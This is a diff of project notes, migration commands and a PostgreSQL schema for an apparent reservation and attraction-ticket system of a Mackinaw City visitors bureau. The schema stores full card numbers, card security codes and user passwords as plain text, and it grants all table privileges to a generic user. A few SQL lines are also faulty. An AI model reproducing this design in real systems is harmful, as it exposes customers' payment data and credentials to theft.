+ * Added field to indicate the maximum number of rooms that are available
+ to be sold as part of a package. This number (and the normal "# of
+ available units to sell") is decremented each time an inventory item is
+ sold as part of a package.
+
+
+* MAVB needs ability to add and assign "Hotel Category" to a member.
+ Preload with the following...
+ Economy
+ Standard
+ Deluxe
+ Deluxe Waterfront
+ Premium Waterfront
+
+* Member records need a field to indicate their "Hotel Category"
+ Members cannot change their category, only the MAVB.
\ No newline at end of file
--- /dev/null
+
+Project Notes on MATB Reservation System
+----------------------------------------
+
+Questions:
+----------
+
+
+
+
+To Do List
+----------
+
+Changes to datatables for AAA Shadow Sites
+
+ member
+
+ does_aaa bool // Participates in AAA-shadow site - AAA member / agent reservations and commissions
+
+ alter table member add column does_aaa bool;
+ update member set does_aaa = 'f';
+
+ agent
+
+ CREATE TABLE aaa_agent
+ (
+ id SERIAL,
+ user_id text,
+ user_pw text,
+ name text,
+ comment text
+ );
+ REVOKE ALL on aaa_agent from PUBLIC;
+ GRANT ALL on aaa_agent to nobody;
+ REVOKE ALL on aaa_agent_id_seq from PUBLIC;
+ GRANT ALL on aaa_agent_id_seq to nobody;
+
+ reservation
+
+ aaa_mode int2 // AAA mode for this reservation - 0(or null)=No, 1=Member, 2=Agent
+ agent_id text // AAA Agent ID
+
+ package_req
+
+ aaa_mode int2 // AAA mode for this reservation - 0(or null)=No, 1=Member, 2=Agent
+ agent_id text // AAA Agent ID
+
+Other changes required by misc modifications
+
+ package_req
+
+ notes text // General notes field for MAVB
+
+ reservation
+
+ notes text // General notes field for MAVB
+
+ ticket_cust
+
+ notes text // General notes field for MAVB
+
+ member
+
+ notes text // General notes field for MAVB
+
+
+Schema
+------
+
+memb_type
+
+ id int4 Unique ID of this member type
+ name text Name for this type
+ descr text Description of this type
+ accommodations bool Member does accommodation reservations
+
+ Default entries
+
+ Accommodations
+ Financial, Legal, and Accounting
+ Information, Advertising, and Marketing
+ House and Home Services
+ Wholesale
+ Retail
+ Real Estate
+ Recreation
+ Entertainment
+ Travel and Transportation
+ Food Service and Drinking Places
+ Museums, Parks, and Historical Sites
+
+prop_type
+
+ id int4 Unique ID of this property type
+ name text Name for this type
+ descr text Description of this type
+
+ Default entries
+
+ (empty for non-accommodation property members)
+ Bed & Breakfast
+ Cabin
+ Cottage
+ Historic
+ Hotel/Motel
+ Lodge
+ Private Cottage
+ Camping
+ Condo/Weekly Rental
+
+
+member
+
+ id int4 Unique ID of this member
+ user_id text User ID for management of this member data
+ user_pw text Password for management of this member data
+ memb_type int4 Pointer to Member type
+ memb_type2 int4 Pointer to Member type #2
+ memb_type3 int4 Pointer to Member type #3
+ prop_type int4 Pointer to Property type
+ prop_type2 int4 Pointer to alternate property type #1
+ prop_type3 int4 Pointer to alternate property type #2
+ reservations bool Uses reservation system?
+ name text Name of this Memeber
+ address text Address
+ city text City
+ state text State
+ zip text ZIP code
+ country text Country
+ phone text Phone #
+ toll_free text Toll Free phone #
+ fax text FAX #
+ email text Contact E-Mail address (public)
+ proc_email text E-Mail address for reservation processing
+ url text URL of Web site
+ descr text Short description of Member
+ image1 text Image #1
+ image_text1 text Text for Image #1
+ image2 text Image #2
+ image_text2 text Text for Image #2
+ image3 text Image #3
+ image_text3 text Text for Image #3
+ season text Open From this date - If empty, then open year round
+ indoor_pool bool Indoor Pool?
+ outdoor_pool bool Outdoor Pool?
+ whirlpool bool Whirlpool?
+ exercise bool Excersise Room?
+ waterfront bool On waterfront?
+ conference bool Conference facilities?
+ meeting bool Meeting room facilities?
+ restaurant bool Restaurant?
+ breakfast bool Breakfast?
+ freebreakfast bool Free breakfast?
+ lunch bool Lunch?
+ dinner bool Dinner?
+ freedinner bool Free Dinner?
+ cocktails bool Cocktails?
+ entertainment bool Entertainment?
+ snowmobile_tr bool Access to Snowmobile trail?
+ credit_cards int Bit mapped - Credit cards accepted (bit on = yes)
+ bit 0 - Visa
+ bit 1 - Master Card
+ bit 2 - Discover
+ bit 3 - American Express
+ bit 4 - Diner's Club
+ sauna bool Sauna
+ play_area bool Play Area
+ pets bool Pets Accepted
+* camp_store bool Camp Store
+* dump_station bool Dump Station
+* bath_shower bool Bath & Shower
+
+ // p_... fields are fields editable by members, when MAVB approves the data
+ // is copied into the fields above.
+
+ p_name text Name of this Memeber
+ p_address text Address
+ p_city text City
+ p_state text State
+ p_zip text ZIP code
+ p_country text Country
+ p_phone text Phone #
+ p_toll_free text Toll Free phone #
+ p_fax text FAX #
+ p_email text Contact E-Mail address
+ p_proc_email text Processing E-Mail Address
+ p_url text URL of Web site
+ p_descr text Short description of Member
+ p_image1 text Image #1
+ p_image_text1 text Text for Image #1
+ p_image2 text Image #2
+ p_image_text2 text Text for Image #2
+ p_image3 text Image #3
+ p_image_text3 text Text for Image #3
+ p_season date Open From this date - If empty, then not seasonal
+ p_indoor_pool bool Indoor Pool?
+ p_outdoor_pool bool Outdoor Pool?
+ p_whirlpool bool Whirlpool?
+ p_exercise bool Excersise Room?
+ p_waterfront bool On waterfront?
+ p_conference bool Conference facilities?
+ p_meeting bool Meeting room facilities?
+ p_restaurant bool Restaurant?
+ p_breakfast bool Breakfast?
+ p_freebreakfast bool Free breakfast?
+ p_lunch bool Lunch?
+ p_dinner bool Dinner?
+ p_freedinner bool Free Dinner?
+ p_cocktails bool Cocktails?
+ p_entertainment bool Entertainment?
+ p_snowmobile_tr bool Access to Snowmobile trail?
+ p_credit_cards int Bit mapped - Credit cards accepted (bit on = yes)
+ p_sauna bool Sauna
+ p_play_area bool Play Area
+ p_pets bool Pets Accepted
+* p_camp_store bool Camp Store
+* p_dump_station bool Dump Station
+* p_bath_shower bool Bath & Shower
+
+
+
+ // THIS TABLE IS BEING NIX'D IN THE MAVB SYSTEM - Fields moved to the member's accommodation reccords
+
+accom_type
+
+ id int4 Unique ID of this Accomodation type
+ name text Name of this accomodation type
+ descr text Description of this accomodation type
+ category int2 Accommodation Category
+ 0 = Hotel Motel Room/Suite
+ 1 = Campsite
+ Features of Campsites and Rooms
+ (none)
+ Features of Rooms only
+ rooms int2 Number of rooms (per accomodation for suites)
+ single int2 Number of single beds
+ double int2 Number of double beds
+ queen int2 Number of queen beds
+ king int2 Number of king beds
+ pullout int2 Number of pullout beds
+
+
+
+rate_class
+
+ id int4 Unique number for this rate class
+ This number matches {n} in alt_rate{n}, must be unique
+ name text Name of this rate class (to be used to name alt_rate fields)
+ descr text Description of this rate class
+ active bool Active rate class flag
+ promotion bool True if this is a promotional rate
+ nights int2 Minimum number of nights required for this rate
+ promo_descr text Description of this promotion
+
+
+accommodation
+
+ id int4 Unique ID of this group of accomodations
+ member int4 Pointer to Member Record
+ name text Name of this accomodation - For member reference only
+ title text Title to be displayed for this accommodation
+ descr text Description of this accommodation
+ image text Image of typical room
+ quant int4 Number of total units (not units available - see inventory)
+ occupants int2 Standard # of occupants (# included in base price)
+ maxoccupants int2 Maximum # of occupants
+ waterfront bool Overlooks waterfront
+ category int2 Accommodation Category
+ 0 = Hotel Motel Room/Suite
+ 1 = Campsite
+ Room Options
+ rooms int2 Number of rooms (per accomodation for suites)
+ single int2 Number of single beds
+ double int2 Number of double beds
+ queen int2 Number of queen beds
+ king int2 Number of king beds
+ pullout int2 Number of pullout beds
+ tv int2 Number of TV's
+ cable bool Cable TV service?
+ movies bool In room movies?
+ barrier_free bool Barrier free room?
+ smoke_free bool Smoke free room?
+ jacuzzi bool In room Jacuzzi?
+ pets bool Pets allowed?
+ data_port bool Data port
+ ironing bool Iron & ironing board
+ coffee bool In-room coffee maker
+ refrigerator bool Refrigerator
+ microwave bool Microwave
+ safe bool Room safe
+ hair_dryer bool Hair dryer
+ inside_entrance bool Interior corridor
+ first_floor bool First floor
+
+ Campsite Options
+ water bool Campsite has water
+ electric int2 Campsite electric (bitmap)
+ 1 = 20A
+ 2 = 30A
+ sewer bool Campsite has sewer
+ extracar bool Space for extra Car
+ pullthru bool Pullthru
+ shaded bool Shaded
+* tent_site bool Tent Site
+ maxlength int2 Maximum vehicle length
+ def_cancel_pol text Default Cancelation Policy
+ def_descr text Default Description (Reservation Policy) for Inventory
+
+
+
+inventory
+
+ id int4 Unique ID of this inventory record
+ date date Date of this inventory item
+ available int2 Total number available to be reserved
+ member int4 Pointer to MATB Member
+ accommodation int4 Pointer to accomodation
+ no_mavb_package bool Flag that this inventory isn't available as part of an MAVB package
+ rate float4 Standard rate per night for this inventory item
+ alt_rate1 float4 Alternate Rate class #1 (name in rate_class table)
+ alt_rate2 float4 Alternate Rate class #2 (name in rate_class table)
+ alt_rate3 float4 Alternate Rate class #3 (name in rate_class table)
+ alt_rate4 float4 Alternate Rate class #4 (name in rate_class table)
+ alt_rate5 float4 Alternate Rate class #5 (name in rate_class table)
+ add_adult float4 Price per extra adult
+ add_child float4 Price per extra child
+ add_senior float4 Price per extra senior
+ cancel_policy text Cancelation policy
+ descr text Comments on this inventory item (Reservation Policy)
+
+package
+
+ id int4 Unique ID of this pricing package
+ name text Name of this package
+ descr text Description of this package
+ accom_type int4 Pointer to Accommodation Type
+ accommodation int4 Optional pointer to specific accommodation
+ If set (non-zero) only applies to that accommodation
+ member int4 Optional pointer to specific member
+ If set (non-zero) only applies to that member
+ inventory int4 Optional pointer to specific inventory
+ If set (non-zero) only applies to that inventory item
+ nights int2 Required number of consecutive nights stay
+ weekdays int2 Days of the week this package is available
+ Bitmapped 0=Sun, 6=Sat
+ date_from date Package available from this date
+ date_to date Package available to this date (inclusive)
+ rate float4 Per night rate under this package
+ cancel_policy text Cancelation Policy (overrides that for inventory item)
+ restrictions text Description of other restrictions
+ promo_code text Promotional Code required (optional)
+
+
+reservation - Specifies global data for a single composite reservation
+
+ id int4 Unique ID of this Reservation
+ fname text First Name of person making reservation
+ lname text Last Name
+ addr1 text Address line1
+ addr2 text Address line2
+ city text City
+ state text State
+ zip text ZIP Code
+ country text Country
+ phone text Phone #
+ email text E-Mail address
+ cctype text Credit Card Type (name)
+ ccnumber text Credit Card Number
+ expire text Expiration Date
+ ccname text Name on Credit Card
+ cccode text Security code on rear of card
+ confirmation int2 Confirmation method
+ 1 = U.S. Snail Mail
+ 2 = E-Mail
+ email_ok bool OK to send E-Mail solicitation flag
+ date_entered date Date this reservation was entered
+ date_confirmed date Date this reservation was confirmed
+ confirmed bool Confirmed flag
+ declined bool Declined Flag
+ conf_numb text Confirmation number (text)
+ conf_by text Reservation confirmed by (person, initals, name, whatever)
+* message text Text of Confirmation/Decline message
+ special_needs text Special needs for this reservation
+ discount_code text Special discount code
+ package int4 Pointer to special package
+ member int4 Pointer to Member (property)
+ user_trace_info text IP Address of user making reservation and exact timestamp
+ rate_class int4 Pointer to Rate Class
+ Added for campgrounds
+28 vehicle_type text Type of vehicle information
+ numb_vehicles text Number of vehicles
+ camping_types int2 Types of camping - bitmapped
+ 0 = Tent
+ 1 = Pop-up Camper
+ 2 = 5th Wheel
+ 3 = Trailer
+ 4 = Motorhome
+ motorhome_slide text Motorhome Slideout dimensions (required if camping_types = Motorhome set)
+ trailer_slide text Trailer Slideout dimensions (require if camping_types = Trailer set)
+ tow_info text Additional Tow Information
+ lenght text Total Length Required
+
+
+res_segment - List of reservation segments for a specific reservation record
+ dates/rooms for a specific reservation (permits multiple room types and room changes)
+
+ id int4 Unique ID of this reservation segment
+ reservation int4 Pointer to reservation record
+ date date Date for this segment
+ accommodation int4 Pointer to accommodation
+ inventory int4 Pointer to inventory record
+ adults int2 Number of adults
+ children int2 Number of children
+*delete infants int2 Number of infants
+ seniors int2 Number of seniors
+* rate float Rate for of this segment
+* quant int2 Number of Rooms
+* add_adult float Rate for additional adult
+* add_child float Rate for additional child
+* add_senior float Rate for additional senior
+
+
+
+notes
+
+ id int4 Unique ID of this note
+ reservation int4 Pointer to reservation this note is about
+ date timestamp Time stamp when this note was submitted
+ notes text Text of this note
+
+
+
--- /dev/null
+To build database
+-----------------
+
+createdb -h {server} mavb_res
+
+psql -h {server} -e mavb_res < create_tables.txt
+
+If not already done...
+
+ CREATE USER nobody;
--- /dev/null
+
+
+TO-DO
+
+
+*** ADD ADDITIONAL FILTERS TO REST OF ADMIN AREA
+*** Give members ability to manage tickets ***
+
+
+Project Notes on MATB Ticket and Attractions System
+---------------------------------------------------
+
+Current Requests
+----------------
+These are the items left "to do"
+1) Can we remove the word optionally and just say 'Select a date or dates'
+ Done
+2) Place Graphic as shown on devsys layout
+ Done
+3) Upon selection of tickets, make sure the navigation gives the customer
+the ability to go back and select from the same query screen that they had
+created.
+ Done
+4) Voucher - needs to be printable and contain the pertinent information
+that the members will be filling out:
+a. Ticket pick up policy
+b. credit card info - last four digits
+c. Customers complete information
+
+5) Reporting needed on the Members side:
+a. Requested list of tickets
+b. Confirm report
+c. Declined report
+d. Redeemed - moves sale to reporting
+> http://devsys.gaslightmedia.com/www.mackinawcity.com/prototype/ticket.jpg
+
+
+From Brad:
+I am assuming that the guest will have the option after purchasing a ticket
+to continue to add things to their cart before checking out - at that point
+they will print off a confirmation and on that will be the ticket redemption
+(pick up) policy for each reservation.
+
+
+
+* Make sure system says "Purchase" rather than "Buy"
+
+
+
+ Questions Pending
+
+ * Is voucher sent in confirmation message or presented at end of ordering process?
+
+
+To make live:
+------------
+
+ alter table member add column sells_tickets boolean;
+ alter table member add column prop_type2 int4;
+ alter table member add column prop_type3 int4;
+ update member set prop_type2 = 1, prop_type3 = 1;
+
+ alter table ticket add column time text;
+ alter table ticket add column use_any_time bool;
+ alter table ticket add column def_voucher_pol text;
+
+ alter table ticket add column persons_type1 text;
+ alter table ticket add column persons_type2 text;
+ alter table ticket add column persons_type3 text;
+ alter table ticket add column persons_type4 text;
+ alter table ticket add column persons_type5 text;
+
+ Persons price information in ticket table only used in single step version
+ alter table ticket add column persons1_price float4;
+ alter table ticket add column persons2_price float4;
+ alter table ticket add column persons3_price float4;
+ alter table ticket add column persons4_price float4;
+ alter table ticket add column persons5_price float4;
+
+ Persons information in ticket_inven table only used in multi-step version
+ alter table ticket_inven add column persons_type1 text;
+ alter table ticket_inven add column persons1_price float4;
+ alter table ticket_inven add column persons_type2 text;
+ alter table ticket_inven add column persons2_price float4;
+ alter table ticket_inven add column persons_type3 text;
+ alter table ticket_inven add column persons3_price float4;
+ alter table ticket_inven add column persons_type4 text;
+ alter table ticket_inven add column persons4_price float4;
+ alter table ticket_inven add column persons_type5 text;
+ alter table ticket_inven add column persons5_price float4;
+ alter table ticket_inven add column voucher_pol text;
+
+ alter table ticket_cust add column deliver_method text;
+ alter table ticket_cust add column arrival_date text;
+ alter table ticket_cust add column message text;
+ alter table ticket_cust add column claimed bool;
+
+ alter table ticket_sold add column persons_type1 text;
+ alter table ticket_sold add column persons1_quant int2;
+ alter table ticket_sold add column persons1_price float4;
+ alter table ticket_sold add column persons_type2 text;
+ alter table ticket_sold add column persons2_quant int2;
+ alter table ticket_sold add column persons2_price float4;
+ alter table ticket_sold add column persons_type3 text;
+ alter table ticket_sold add column persons3_quant int2;
+ alter table ticket_sold add column persons3_price float4;
+ alter table ticket_sold add column persons_type4 text;
+ alter table ticket_sold add column persons4_quant int2;
+ alter table ticket_sold add column persons4_price float4;
+ alter table ticket_sold add column persons_type5 text;
+ alter table ticket_sold add column persons5_quant int2;
+ alter table ticket_sold add column persons5_price float4;
+ alter table ticket_sold add column member int4;
+
+
+Design Notes
+------------
+
+User front-end flow
+
+ * "Start"
+
+ User Selects to Search by Type and Date
+
+ A1) "Select Member"
+
+ A2) "Select Ticket"
+
+ (go to "Select Date and Quant" )
+
+ User Selects to list all tickets
+
+ B1) "Show All Tickets"
+ Clear specified dates.
+
+ * "Select Date and Quant"
+
+ * "Add to Cart" & "Show Cart"
+
+ * "Checkout"
+
+ * "Place Order"
+
+
+Specification
+-------------
+
+Other Notes:
+
+ 72 Hours advanced for FedEx delivery
+ 72 Hours advanced for pickup at event or hotel delivery
+ 7 Days advanced for US Mail delivery
+
+
+AS WRITTEN BY JODIE
+
+The requirements for this section follow closely to the accomodations
+inventory, in that the needs of this shopping area are:
+
+1) Multiple Attractions & Tickets that will be outlined, such as:
+"Ticket Notes.txt"
+ -Center Stage Theater - date, time, adults, children pricing options for these tickets, and decremented inventory for ticket availability.
+ -Soo Locks Dinner Cruise - date, time, adults, children pricing options for these tickets, and decremented inventory for ticket availability.
+ -Trolley Tour - Date, Time sensitive 4 different tour options, adults and children pricing
+ -Ferries - Adult, children, senior pricing for three different ferry lines
+ -The following attractions are all adult, children, senior pricing, but not date sensitive:
+
+ Mill Creek, Michilimac, Amaze of Mirrors, Butterfly House, Carriage Tours, Shipwreck museum and lighthouse
+
+So, from the best I can tell, the following fields/options are needed for this section:
+
+ -Dates
+ -Times
+ -Adult Price - with description
+ -Children Price - with description
+ -Family Price - with description
+ -Senior Price - with description
+ -Inventory Available
+ -Same information for checkout as accomodations
+ -Reporting and submission from online requests will go to:
+ rizzardi@mackinawcity.com
+
+Options for delivery of tickets (drop down box)
+
+ -Notice for tickets in advance minimum of 7 days for standard only postal delivery
+ -Pick up at accomodation within Mackinaw City - show drop down all of all accomodations listed in the MAVB member database - If this option is
+ selected, the visitor must fill in their arrival date. Use calendar for this option.
+ -Express Fed Ex - additional $15.00 added at processing time by the MAVB
+
+For now, the MAVB will be entering availability of inventory, but he will be
+opening this up to the members of these attractions (centerstage, soo locks,
+etc_
+
+The front end of this for visitors -
+
+ Upon selection of Attraction menu item, the first output page will be:
+
+ 1) List all items (members) that have been entered into this category, and display by:
+
+ Member Name
+ Description from member record
+ -Rate Range
+ Option to purchase
+
+ 2) Visitors have ability to purchase multiple items, and upon checkout,
+ review their cart and have the option of deleting any items they put in their cart.
+
+ 3) Inventory will not be decremented until checkout process has been completed.
+
+
+
+
+Questions
+---------
+
+
+
+To Do List
+----------
+
+
+
+Schema
+----------------------------------------------------------------------
+
+
+MODIFIED TABLES
+
+
+member (added fields *)
+
+ id int4 Unique ID of this member
+...
+* sells_tickets boot Flag that indicates if the ticket system sells tickets for this member
+
+
+NEW TABLES
+
+ticket_cat
+
+ id int4 Unique ID of this ticket category
+ name text Name of this ticket category
+
+ticket
+
+ id int4 Unique ID of this ticket
+ member int4 Pointer to Member table
+ name text Name of this ticket
+ title text Title to be displayed for this ticket
+ descr text Full description of this ticket
+ time time Time of day for this ticket (empty if not time sensitive?)
+ use_any_time bool Flag indicating that ticket may be used any time or date
+ image text Image related to this ticket
+ category int2 Ticket Category - From ticket_cat table
+ persons_type1 text Name of persons type #1 (Adult, Children 1-5, ...)
+ persons_type2 text Name of persons type #2
+ persons_type3 text Name of persons type #3
+ persons_type4 text Name of persons type #4
+ persons_type5 text Name of persons type #5
+ def_cancel_pol text Default cancelation policy
+ def_purch_pol text Default purchase/use policy
+ def_voucher_pol text Default voucher claim policy
+
+ticket_inven
+
+ id int4 Unique ID of this inventory record
+ date date Date of this inventory item (0 if not date sensitive ???? need to figure this out)
+ available int2 Total number available to be purchased (-1 if unlimited)
+ member int4 Pointer to MATB Member
+ ticket int4 Pointer to ticket
+ persons_type1 text Name of persons type #1 (Adult, Children 1-5, ...)
+ persons1_price float4 Price for persons type #1
+ persons_type2 text Name of persons type #2
+ persons2_price float4 Price for persons type #2
+ persons_type3 text Name of persons type #3
+ persons3_price float4 Price for persons type #3
+ persons_type4 text Name of persons type #4
+ persons4_price float4 Price for persons type #4
+ persons_type5 text Name of persons type #5
+ persons5_price float4 Price for persons type #5
+ cancel_policy text Cancelation policy
+ purch_policy text Purchase/Use policy
+ voucher_pol text Voucher claim policy
+
+
+ticket_cust - Ticket purchase customer information
+
+ id int4 Unique ID of this purchase
+ fname text First Name of person making purchase
+ lname text Last Name
+ addr1 text Address line1
+ addr2 text Address line2
+ city text Citysee it all
+ state text State
+ zip text ZIP Code
+ phone text Phone #
+ email text E-Mail address
+ cctype text Credit Card Type (name)
+ ccnumber text Credit Card Number
+ expire text Expiration Date
+ ccname text Name on Credit Card
+ cccode text Security code on rear of card
+ confirmation int2 Confirmation method
+ 1 = U.S. Snail Mail
+ 2 = E-Mail
+ email_ok bool OK to send E-Mail solicitation flag
+ date_entered date Date this purchase was entered
+ date_confirmed date Date this purchase was confirmed
+ confirmed bool Confirmed flag
+ declined bool Declined Flag
+ conf_numb text Confirmation number (text)
+ conf_by text Purchase confirmed by (person, initals, name, whatever)
+ message text Text of Confirmation/Decline message
+ special_needs text Special needs for this reservation
+ discount_code text Special discount code
+ user_trace_info text IP Address of user making reservation and exact timestamp
+ deliver_method text Delivery method (US Mail, FedEx, Pickup at attraction, Deliver to hotel/motel)
+ deliver_to text Hotel/Motel to deliver tickets
+ arrival_date text Hotel arrival date for tickets delivered to hotel/motel
+* claimed bool Tickets have been claimed by customer with voucher
+
+ticket_sold - List of individual tickets sold to a customer
+
+ id int4 Unique ID of this ticket sale
+ customer int4 Pointer to customer purchase record
+ date date Date/time for use this ticket
+ ticket int4 Pointer to ticket
+ member int4 Pointer to member
+ inventory int4 Pointer to inventory record
+ persons_type1 text Name of persons type #1 (Adult, Children 1-5, ...)
+ persons1_price float4 Price for persons type #1
+ persons_type2 text Name of persons type #2
+ persons2_price float4 Price for persons type #2
+ persons_type3 text Name of persons type #3
+ persons3_price float4 Price for persons type #3
+ persons_type4 text Name of persons type #4
+ persons4_price float4 Price for persons type #4
+ persons_type5 text Name of persons type #5
+ persons5_price float4 Price for persons type #5
+
+
+
--- /dev/null
+
+/*
+ SQL script to create databases for MAVB Reservation System
+*/
+
+-- Member Types
+
+CREATE TABLE memb_type
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ accommodations bool,
+ tickets bool
+ );
+REVOKE ALL on memb_type from PUBLIC;
+GRANT ALL on memb_type to nobody;
+REVOKE ALL on memb_type_id_seq from PUBLIC;
+GRANT ALL on memb_type_id_seq to nobody;
+
+-- Populate memb_type with default values --
+
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Accommodations','t' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Financial, Legal, and Accounting','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Information, Advertising, and Marketing','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'House and Home Services','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Wholesale','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Retail','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Real Estate','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Recreation','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Entertainment','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Travel and Transportation','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Food Service and Drinking Places','f' );
+INSERT INTO memb_type ( name,accommodations ) VALUES ( 'Museums, Parks, and Historical Sites','f' );
+
+-- Property Types
+
+CREATE TABLE prop_type
+ (
+ id SERIAL,
+ name text,
+ descr text
+ );
+REVOKE ALL on prop_type from PUBLIC;
+GRANT ALL on prop_type to nobody;
+REVOKE ALL on prop_type_id_seq from PUBLIC;
+GRANT ALL on prop_type_id_seq to nobody;
+
+-- Populate prop_type with default values
+
+INSERT INTO prop_type ( name,descr ) VALUES ( '','Empty entry for use with members that are not accommodation properties.' );
+INSERT INTO prop_type ( name ) VALUES ( 'Bed & Breakfast' );
+INSERT INTO prop_type ( name ) VALUES ( 'Cabin' );
+INSERT INTO prop_type ( name ) VALUES ( 'Cottage' );
+INSERT INTO prop_type ( name ) VALUES ( 'Historic' );
+INSERT INTO prop_type ( name ) VALUES ( 'Hotel/Motel' );
+INSERT INTO prop_type ( name ) VALUES ( 'Lodge' );
+INSERT INTO prop_type ( name ) VALUES ( 'Private Cottage' );
+INSERT INTO prop_type ( name ) VALUES ( 'Camping' );
+INSERT INTO prop_type ( name ) VALUES ( 'Condo/Weekly Rental' );
+
+-- Hotel Categories
+
+CREATE TABLE hotel_cat
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ active bool
+ );
+REVOKE ALL on hotel_cat from PUBLIC;
+GRANT ALL on hotel_cat to nobody;
+REVOKE ALL on hotel_cat_id_seq from PUBLIC;
+GRANT ALL on hotel_cat_id_seq to nobody;
+
+-- Populate prop_type with default values
+
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Economy', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Standard', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe Waterfront', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Premium Waterfront', '', TRUE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+
+-- Members
+
+CREATE TABLE member
+ (
+ id SERIAL,
+ user_id text,
+ user_pw text,
+ memb_type int4,
+ memb_type2 int4,
+ memb_type3 int4,
+ prop_type int4,
+ prop_type2 int4,
+ prop_type3 int4,
+ reservations bool,
+ sells_tickets bool,
+ promotions bool,
+ category int4,
+ packages bool,
+ does_aaa bool,
+ mama bool,
+ hotel_cat int4,
+ name text,
+ address text,
+ city text,
+ state text,
+ zip text,
+ country text,
+ phone text,
+ toll_free text,
+ fax text,
+ email text,
+ proc_email text,
+ mavb_email text,
+ url text,
+ descr text,
+ image1 text,
+ image_text1 text,
+ image2 text,
+ image_text2 text,
+ image3 text,
+ image_text3 text,
+ season text,
+ indoor_pool bool,
+ outdoor_pool bool,
+ whirlpool bool,
+ exercise bool,
+ waterfront bool,
+ conference bool,
+ meeting bool,
+ restaurant bool,
+ breakfast bool,
+ freebreakfast bool,
+ lunch bool,
+ dinner bool,
+ freedinner bool,
+ cocktails bool,
+ entertainment bool,
+ snowmobile_tr bool,
+ credit_cards int2,
+ sauna bool,
+ play_area bool,
+ pets bool,
+ camp_store bool,
+ dump_station bool,
+ bath_shower bool,
+-- mama bool,
+ shop_member bool,
+ shop_id int4,
+ p_name text,
+ p_address text,
+ p_city text,
+ p_state text,
+ p_zip text,
+ p_country text,
+ p_phone text,
+ p_toll_free text,
+ p_fax text,
+ p_email text,
+ p_proc_email text,
+ p_mavb_email text,
+ p_url text,
+ p_descr text,
+ p_image1 text,
+ p_image_text1 text,
+ p_image2 text,
+ p_image_text2 text,
+ p_image3 text,
+ p_image_text3 text,
+ p_season text,
+ p_indoor_pool bool,
+ p_outdoor_pool bool,
+ p_whirlpool bool,
+ p_exercise bool,
+ p_waterfront bool,
+ p_conference bool,
+ p_meeting bool,
+ p_restaurant bool,
+ p_breakfast bool,
+ p_freebreakfast bool,
+ p_lunch bool,
+ p_dinner bool,
+ p_freedinner bool,
+ p_cocktails bool,
+ p_entertainment bool,
+ p_snowmobile_tr bool,
+ p_credit_cards int2,
+ p_sauna bool,
+ p_play_area bool,
+ p_pets bool,
+ p_camp_store bool,
+ p_dump_station bool,
+ p_bath_shower bool
+ );
+REVOKE ALL on member from PUBLIC;
+GRANT ALL on member to nobody;
+REVOKE ALL on member_id_seq from PUBLIC;
+GRANT ALL on member_id_seq to nobody;
+
+
+
+-- Group Tour Data (one record per participating member)
+
+
+CREATE TABLE package_req
+ (
+ id SERIAL,
+ member integer,
+ type int2,
+ descr text,
+ contact text,
+ phone text,
+ fax text,
+ email text,
+ comp_policy text,
+ att_adult_rate float4,
+ att_youth_rate float4,
+ att_tour_time text,
+ acc_may_jun_lo float4,
+ acc_may_jun_hi float4,
+ acc_jul_aug_lo float4,
+ acc_jul_aug_hi float4,
+ acc_sep_oct_lo float4,
+ acc_sep_oct_hi float4,
+ acc_numb_rooms int2,
+ acc_bag_type int2,
+ acc_bag_fee float4,
+ acc_pool_in bool,
+ acc_pool_out bool,
+ acc_pool_heat bool,
+ acc_hottub bool,
+ acc_breakfast int2,
+ acc_break_upgr bool,
+ acc_break_adj bool,
+ res_br_adult float4,
+ res_br_child float4,
+ res_br_descr text,
+ res_ln_adult float4,
+ res_ln_child float4,
+ res_ln_descr text,
+ res_dr_adult float4,
+ res_dr_child float4,
+ res_dr_descr text,
+ res_oth_adult float4,
+ res_oth_child float4,
+ res_oth_descr text,
+ fer_adult_rate float4,
+ fer_youth_rate float4,
+ ptype int2,
+ pdescr text,
+ pcontact text,
+ pphone text,
+ pfax text,
+ pemail text,
+ pcomp_policy text,
+ patt_adult_rate float4,
+ patt_youth_rate float4,
+ patt_tour_time text,
+ pacc_may_jun_lo float4,
+ pacc_may_jun_hi float4,
+ pacc_jul_aug_lo float4,
+ pacc_jul_aug_hi float4,
+ pacc_sep_oct_lo float4,
+ pacc_sep_oct_hi float4,
+ pacc_numb_rooms int2,
+ pacc_bag_type int2,
+ pacc_bag_fee float4,
+ pacc_pool_in bool,
+ pacc_pool_out bool,
+ pacc_pool_heat bool,
+ pacc_hottub bool,
+ pacc_breakfast int2,
+ pacc_break_upgr bool,
+ pacc_break_adj bool,
+ pres_br_adult float4,
+ pres_br_child float4,
+ pres_ln_adult float4,
+ pres_ln_child float4,
+ pres_dr_adult float4,
+ pres_dr_child float4,
+ pfer_adult_rate float4,
+ pfer_youth_rate float4,
+ );
+REVOKE ALL on tour from PUBLIC;
+GRANT ALL on tour to nobody;
+REVOKE ALL on tour_id_seq from PUBLIC;
+GRANT ALL on tour_id_seq to nobody;
+
+
+
+-- Accomodation Types - NOT BEING USED
+
+CREATE TABLE accom_type
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ category int2,
